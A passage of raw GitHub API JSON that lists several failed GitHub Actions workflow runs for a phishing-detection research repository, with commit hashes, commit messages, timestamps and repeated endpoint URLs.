","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277951588,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTUxNTg4","head_branch":"integration_test","head_sha":"4998428bc2ce29c9adb47fb8d67924a915a10b80","run_number":1019,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259354521,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MzU0NTIx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277951588","pull_requests":[],"created_at":"2020-09-29T05:42:35Z","updated_at":"2020-09-29T05:51:34Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259354521","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4998428bc2ce29c9adb47fb8d67924a915a10b80","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Split url_extraction folder","timestamp":"2020-09-29T05:42:30Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277899888,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODk5ODg4","head_branch":"integration_test","head_sha":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","run_number":1017,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259222199,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MjIyMTk5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277899888","pull_requests":[],"created_at":"2020-09-29T04:54:38Z","updated_at":"2020-09-29T05:21:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259222199","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","tree_id":"6dc255f5ca7954548231afc2300642e8c0856e9f","message":"working-directory option","timestamp":"2020-09-29T04:54:32Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277876021,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODc2MDIx","head_branch":"integration_test","head_sha":"7d1195ba031e650523746f6200071fc83c343316","run_number":1013,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259158839,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MTU4ODM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277876021","pull_requests":[],"created_at":"2020-09-29T04:28:03Z","updated_at":"2020-09-29T04:28:03Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259158839","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7d1195ba031e650523746f6200071fc83c343316","tree_id":"ab625d1a3f77f602030e09ddabae2dedaf222202","message":"Upload Generated config","timestamp":"2020-09-29T04:27:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/gi